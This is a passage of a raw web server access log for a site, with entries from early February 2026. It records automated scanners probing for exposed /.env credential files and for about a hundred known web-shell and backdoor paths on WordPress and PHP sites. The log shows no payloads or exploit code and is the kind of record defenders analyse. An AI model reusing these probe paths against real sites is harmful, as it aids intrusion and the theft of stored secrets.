AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.86.110.146 - - [04/Feb/2026:21:32:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 89.117.22.159 - - [04/Feb/2026:22:01:11 +0300] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 89.117.22.159 - - [04/Feb/2026:22:01:11 +0300] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 89.117.22.159 - - [04/Feb/2026:22:01:11 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 89.117.22.159 - - [04/Feb/2026:22:01:11 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 205.210.31.103 - - [04/Feb/2026:23:05:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 157.15.40.93 - - [04/Feb/2026:22:57:23 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 157.15.40.93 - - [04/Feb/2026:22:57:38 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 157.15.40.93 - - [04/Feb/2026:22:57:43 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 181.215.182.170 - - [05/Feb/2026:00:36:53 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 45.154.98.245 - - [05/Feb/2026:01:16:07 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 212.34.129.45 - - [05/Feb/2026:01:42:13 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 18.97.14.88 - - [05/Feb/2026:01:48:27 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)" 18.97.14.88 - - [05/Feb/2026:01:48:27 +0300] "GET / HTTP/1.1" 301 795 "-" "CCBot/2.0 (https://commoncrawl.org/faq/)" 45.154.98.245 - - [05/Feb/2026:01:16:06 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.245 - - [05/Feb/2026:01:16:12 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.148.10.124 - - [05/Feb/2026:00:49:44 +0300] "GET /_profiler/phpinfo HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36" 45.154.98.245 - - [05/Feb/2026:01:16:13 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.245 - - [05/Feb/2026:01:16:03 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.245 - - [05/Feb/2026:01:16:04 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.245 - - [05/Feb/2026:01:16:09 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.245 - - [05/Feb/2026:01:16:10 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 45.154.98.245 - - [05/Feb/2026:01:16:15 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 93.158.90.37 - - [05/Feb/2026:01:45:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 12; SAMSUNG SM-A415F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/23.0 Chrome/115.0.0.0 Mobile Safari/537.3" 212.34.138.212 - - [05/Feb/2026:03:29:54 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 43.167.236.228 - - [05/Feb/2026:03:19:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 3.18.186.238 - - [05/Feb/2026:04:01:21 +0300] "GET / HTTP/1.1" 301 795 "-" "air.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 193.111.248.121 - - [05/Feb/2026:03:46:44 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 43.156.202.34 - - [05/Feb/2026:04:23:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 35.194.46.198 - - [05/Feb/2026:06:39:20 +0300] "GET / HTTP/1.1" 301 795 "https://www.google.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:33 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:33 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:34 +0300] "GET /O-Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:01:34 +0300] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:01:34 +0300] "GET /zwso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:35 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:35 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:35 +0300] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:36 +0300] "GET /.well-known/login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:36 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:01:36 +0300] "GET /.wp/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:37 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:37 +0300] "GET /robots.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:01:37 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:01:38 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:38 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:38 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:39 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:39 +0300] "GET /f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:01:39 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:40 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:01:40 +0300] "GET /wp-content/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:01:40 +0300] "GET /wp-admin/maint/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:01:41 +0300] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.137.126.96 - - [05/Feb/2026:07:01:41 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:41 +0300] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:01:42 +0300] "GET /wp-admin/images/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:01:42 +0300] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:01:42 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:01:43 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:01:43 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.137.126.96 - - [05/Feb/2026:07:01:43 +0300] "GET /admin/uploads/bn_1_1754420677.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:44 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:44 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:01:44 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:45 +0300] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:45 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:45 +0300] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.137.126.96 - - [05/Feb/2026:07:01:46 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:01:46 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:46 +0300] "GET /wp-content/plugins/envato-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:01:47 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:47 +0300] "GET /uploads/94056-upload.phtml HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:01:47 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:01:48 +0300] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:48 +0300] "GET /js/bas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:01:49 +0300] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:01:49 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:49 +0300] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:50 +0300] "GET /wp-content/upgrade/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:01:50 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:50 +0300] "GET /wp-content/languages/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:51 +0300] "GET /wp-content/themes/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:01:51 +0300] "GET /wp-content/plugins/elementor/wp-wjvngrh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:01:51 +0300] "GET /wp-includes/IXR/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.137.126.96 - - [05/Feb/2026:07:01:52 +0300] "GET /wp-includes/widgets/dyqvcfqv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.137.126.96 - - [05/Feb/2026:07:01:52 +0300] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:01:53 +0300] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:53 +0300] "GET /wp-includes/js/crop/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:53 +0300] "GET /wp-includes/PHPMailer/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:01:54 +0300] "GET /wp-includes/PHPMailer/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:01:54 +0300] "GET /wp-includes/widgets/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:54 +0300] "GET /files/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:55 +0300] "GET /wp-includes/PHPMailer/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.137.126.96 - - [05/Feb/2026:07:01:55 +0300] "GET /inc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:01:55 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:01:56 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:56 +0300] "GET /cgi-bin/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.137.126.96 - - [05/Feb/2026:07:01:56 +0300] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:56 +0300] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:57 +0300] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:01:58 +0300] "GET /wp-includes/js/jquery/jquery.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:01:58 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:58 +0300] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.137.126.96 - - [05/Feb/2026:07:01:59 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:59 +0300] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:01:59 +0300] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:00 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.137.126.96 - - [05/Feb/2026:07:02:00 +0300] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:02:00 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.137.126.96 - - [05/Feb/2026:07:02:01 +0300] "GET /wp-includes/blocks/table/int/tmpl/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.137.126.96 - - [05/Feb/2026:07:02:01 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:01 +0300] "GET /wp-includes/js/jquery/suggest.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.137.126.96 - - [05/Feb/2026:07:02:02 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:02 +0300] "GET /wp-content/plugins/pwnd-1/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.137.126.96 - - [05/Feb/2026:07:02:03 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) 